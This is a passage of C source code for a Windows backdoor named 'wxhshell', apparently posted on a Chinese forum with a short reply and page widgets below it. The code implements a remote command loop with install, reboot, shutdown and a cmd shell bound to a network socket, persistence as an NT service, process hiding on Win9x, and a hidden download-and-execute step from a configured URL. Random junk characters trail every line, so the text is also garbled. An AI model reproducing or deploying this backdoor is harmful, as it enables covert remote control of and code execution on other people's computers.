  if(DownloadFile(cmd,wsh)) `a!9_%|8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj4C-X 4=  
  else vQ]d?Tp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Lu&bVt<>  
  } !\$V?*p7  
  else { 9K#3JyW*  
oR,6esA+6n  
    switch(cmd[0]) { TQmrL  
  M9afg$;.xe  
  // 帮助 DIw_"$'At  
  case '?': { -U\'Emu4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r @m]#4  
    break; %B( rW?p&  
  } Uqb]&2  
  // 安装 "l9aBBiu  
  case 'i': { BjagG/ sX  
    if(Install()) co3\1[q"b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'WC!K.e  
    else J{.UUw9Agd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \1LfDlQk)  
    break; s'oNW  
    } tv.<pP9-C  
  // 卸载 NPS*0y/  
  case 'r': { #4b]j".P!n  
    if(Uninstall()) TYb$+uY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `CH,QT7e  
    else n=bdV(?4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7KX27.~F  
    break; o{! :N>(  
    } ! xG*W6IT  
  // 显示 wxhshell 所在路径 \Dy|}LE  
  case 'p': { PCHspe9!y  
    char svExeFile[MAX_PATH]; )Z:D}r8[  
    strcpy(svExeFile,"\n\r"); `:;q4zij;  
      strcat(svExeFile,ExeFile); E_aBDiyDf  
        send(wsh,svExeFile,strlen(svExeFile),0); Y*PfU +y~  
    break; g_`a_0v  
    } 9$Z0mzk  
  // 重启 /1v9U|j  
  case 'b': { *<!q@r<d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &H]/'i-  
    if(Boot(REBOOT)) RG""/x ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *; ]}`r  
    else { }ePl&-9T  
    closesocket(wsh); Y}v3J(l  
    ExitThread(0); U31@++C[  
    } <K`E*IaW  
    break; j7gw?,  
    } xsn=Ji2 F  
  // 关机 )?UoF&c/  
  case 'd': { Jp_#pV*}:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r+8D|stS  
    if(Boot(SHUTDOWN)) @$T$hMl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `vgaX,F*  
    else { [GI~ &  
    closesocket(wsh); sqtz^K ROM  
    ExitThread(0); Mh4MaLw  
    } D,ZLo~  
    break; |DJ8 "T]E  
    } Leb|YX  
  // 获取shell ro\ oL  
  case 's': { ~cCMLK em  
    CmdShell(wsh); @)uV Fw"\  
    closesocket(wsh); twq~.:<o  
    ExitThread(0); jh)@3c  
    break; (+epRC  
  } 7!pKlmQ  
  // 退出 DJL.P6-W  
  case 'x': { $VvgzjrH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &]#L'D!"  
    CloseIt(wsh); $vfgYl4q  
    break; R-S<7Q3E0=  
    } #%\0][Xf  
  // 离开 {9U!0h-2"  
  case 'q': { /oHCV0!0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [jzsB:;XB&  
    closesocket(wsh); O*~z@"\  
    WSACleanup(); ;na%*G`  
    exit(1); )6C+0b*  
    break; dHXe2rTE;&  
        } eMC^ORdY  
  } 8YQuq.(>a  
  } {:K_=IRZ  
[3G{NC|'  
  // 提示信息 L^ J|cgmNw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w3(|A> s3  
} q[a\a7U z  
  } ],pB:=  
^w\22 Q  
  return; #f2k*8"eAF  
} heCM+ =#~  
.Q,"gsY  
// shell模块句柄 \D?'.Wo%  
int CmdShell(SOCKET sock) lD0-S0i  
{ D4!;*2t  
STARTUPINFO si; V| 97;  
ZeroMemory(&si,sizeof(si)); /{i~-DVME  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dZ`Y>wH_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @%Ld\8vdfJ  
PROCESS_INFORMATION ProcessInfo; \Y)HSJR;e  
char cmdline[]="cmd"; Z^&G9I#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |l; Ot=C=  
  return 0; WzN c=@[W  
} ^?`fN'!p  
(BVqmi{  
// 自身启动模式 cERIj0~  
int StartFromService(void) (XO=W+<'  
{ h9H z6 >  
typedef struct 4d@yAr}  
{ DWt|lO  
  DWORD ExitStatus; K6IT$$g  
  DWORD PebBaseAddress; .[O{,r  
  DWORD AffinityMask; lPR=C0h}@  
  DWORD BasePriority; gT+g@\u[  
  ULONG UniqueProcessId; a|7C6#iz$  
  ULONG InheritedFromUniqueProcessId; /:4J  
}   PROCESS_BASIC_INFORMATION; @.eN+o9|  
?$f.[;mh  
PROCNTQSIP NtQueryInformationProcess; 4H-eFs%5  
yxt"vm;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L@S\ rImw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4>jHS\jc  
L7C ;l,ot  
  HANDLE             hProcess; s|Mo3_>  
  PROCESS_BASIC_INFORMATION pbi; |u>(~6  
x.+T65X~4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Rc#/y  
  if(NULL == hInst ) return 0; xpR`fq  
1&=)Bxg4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ek)drt7cy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t{]Ew4Y4%O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U6M ~N0)Yr  
; j!dbT~5  
  if (!NtQueryInformationProcess) return 0; bej(Ds0  
]->"4,}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S; % &X  
  if(!hProcess) return 0; D;pI!S<#  
<a6pjx>y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6nW)2LV  
PlkZ)S7C  
  CloseHandle(hProcess); 6<];}M_{  
H -Mb:4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PAYw:/(P  
if(hProcess==NULL) return 0; O+}py{ st  
N#T'}>ty  
HMODULE hMod; ^jMrM.GY  
char procName[255]; + `|A/w  
unsigned long cbNeeded; ,UY1.tR(  
.Fo#Dmq3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "JB4 Uaa  
TJ"-cWpO1  
  CloseHandle(hProcess); y8k8Hd1<f  
7}X1A!1  
if(strstr(procName,"services")) return 1; // 以服务启动 %10ONe}  
}nd>SK4  
  return 0; // 注册表启动 >O-KJZ'GV  
} +8Lbz^#  
GTdoUSUq  
// 主模块 ZyGoOk  
int StartWxhshell(LPSTR lpCmdLine) [:y:_ECs6  
{ T8o](:B~  
  SOCKET wsl; m)Plv+R}  
BOOL val=TRUE; fqgp{(`@>  
  int port=0; :wC\IwG~CE  
  struct sockaddr_in door; :0J`4  
 >(Y CZ  
  if(wscfg.ws_autoins) Install(); <YaTr9%w  
su%(!XJQpg  
port=atoi(lpCmdLine); Z2g'&,uc#  
|.N[NY  
if(port<=0) port=wscfg.ws_port; Bh3F4k2bg7  
}>@\I^Xm,  
  WSADATA data; !Km[Qw k-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eYUb>M)  
i>Q!5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dCd~]CI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <\&9Odqc  
  door.sin_family = AF_INET; TR DQ+Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *S,~zOYN  
  door.sin_port = htons(port); F)^0R%{C  
:21d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RA0;f'"`  
closesocket(wsl); ) D@j6r  
return 1; h&>3;Lj  
} cb}zCl j o  
*[[Gu^t^!  
  if(listen(wsl,2) == INVALID_SOCKET) { _SBbd9  
closesocket(wsl); Z1HH0{q-A  
return 1; LikcW#  
} @2>UR9j  
  Wxhshell(wsl); k =! Q  
  WSACleanup(); {MgRi 7  
b84l`J  
return 0; yvd)pH<a2  
=]7o+L4  
} (4YLUN&1O$  
|+nmOi,z  
// 以NT服务方式启动 nTy]sPn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \,#$,dUXD  
{ l\UjvG  
DWORD   status = 0; mwAN9<o  
  DWORD   specificError = 0xfffffff; }S> 4.8  
[Hh-F#|R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b>-DX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n~^SwOt~;5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pfN(Ae Pt  
  serviceStatus.dwWin32ExitCode     = 0; QG5WsuT  
  serviceStatus.dwServiceSpecificExitCode = 0; <*( Z}p  
  serviceStatus.dwCheckPoint       = 0; Kip&YB%rk  
  serviceStatus.dwWaitHint       = 0; o[ 5dR<  
MmT/J1zM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I*u3 e  
  if (hServiceStatusHandle==0) return; RAW;ze*"  
bZ`v1d (r  
status = GetLastError(); K%z!#RyJ4  
  if (status!=NO_ERROR) K\K& K~Z  
{ Hyb(.hlZh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }3#\vn0gT  
    serviceStatus.dwCheckPoint       = 0; 4XpWDfa.}  
    serviceStatus.dwWaitHint       = 0; BSm"]!D8*  
    serviceStatus.dwWin32ExitCode     = status; 2k.VTGak  
    serviceStatus.dwServiceSpecificExitCode = specificError; X*2W4udF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cH5i420;aO  
    return; !Z$d<~Mq q  
  } JEto_&8,C  
N~)-\T:ap  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `zQuhD 8W  
  serviceStatus.dwCheckPoint       = 0; Y1PR?c Q  
  serviceStatus.dwWaitHint       = 0; bzi"7%c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q`<vY'&1  
} <[dcIw<7  
& zDuh[j}  
// 处理NT服务事件,比如:启动、停止 f.6>6%l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dNe!X0[  
{ iWCYK7c@.-  
switch(fdwControl) xC)bW,%  
{ 6GxLaI  
case SERVICE_CONTROL_STOP: ` Ig5*X4|  
  serviceStatus.dwWin32ExitCode = 0; FV^jCseZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6`e{l+c=F  
  serviceStatus.dwCheckPoint   = 0; 7]VR)VAM  
  serviceStatus.dwWaitHint     = 0; )9eI o&Nl  
  { )-2Nc7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C~En0G1  
  } 3aqH!?rVU  
  return; B;9,Qbb  
case SERVICE_CONTROL_PAUSE: !l[;,l   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F[ E'R.:  
  break; '@{:Fr G*U  
case SERVICE_CONTROL_CONTINUE: Bu:%trlgV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ln>!4i+-B)  
  break; -@>{q/  
case SERVICE_CONTROL_INTERROGATE: w#.3na  
  break; "Z@P&jl  
}; #T7v]@K67  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ahriZe  
} R$&;  
B!RfPk1B<*  
// 标准应用程序主函数 Rta}*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /v!yI$xc  
{ *)K 5<}V  
Sz0PZtJ  
// 获取操作系统版本 _o~ pVBl/  
OsIsNt=GetOsVer(); kt yplo#F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F.vRs|fk  
3&-rOc  
  // 从命令行安装 ^to*ET{0  
  if(strpbrk(lpCmdLine,"iI")) Install(); PxKBcx4o`  
v-8>@s jy8  
  // 下载执行文件 OUulG16kK  
if(wscfg.ws_downexe) { x1gS^9MqCB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lSX1|,B7:]  
  WinExec(wscfg.ws_filenam,SW_HIDE); L.;b( bFe  
} "tyRnUP  
45yP {+/-Q  
if(!OsIsNt) { K,S4  
// 如果时win9x,隐藏进程并且设置为注册表启动 3fOOT7!FL  
HideProc(); p(yv  
StartWxhshell(lpCmdLine); tD8fSV  
} /zIG5RK>  
else kz=ho~ @  
  if(StartFromService()) *V&M5  
  // 以服务方式启动 Gk:fw#R  
  StartServiceCtrlDispatcher(DispatchTable); ZF7@b/-me  
else k3Yu"GY^  
  // 普通方式启动 d@3DsE.{i  
  StartWxhshell(lpCmdLine); 1< !P:@(  
!U`4  
return 0; :w8{BIUN)  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八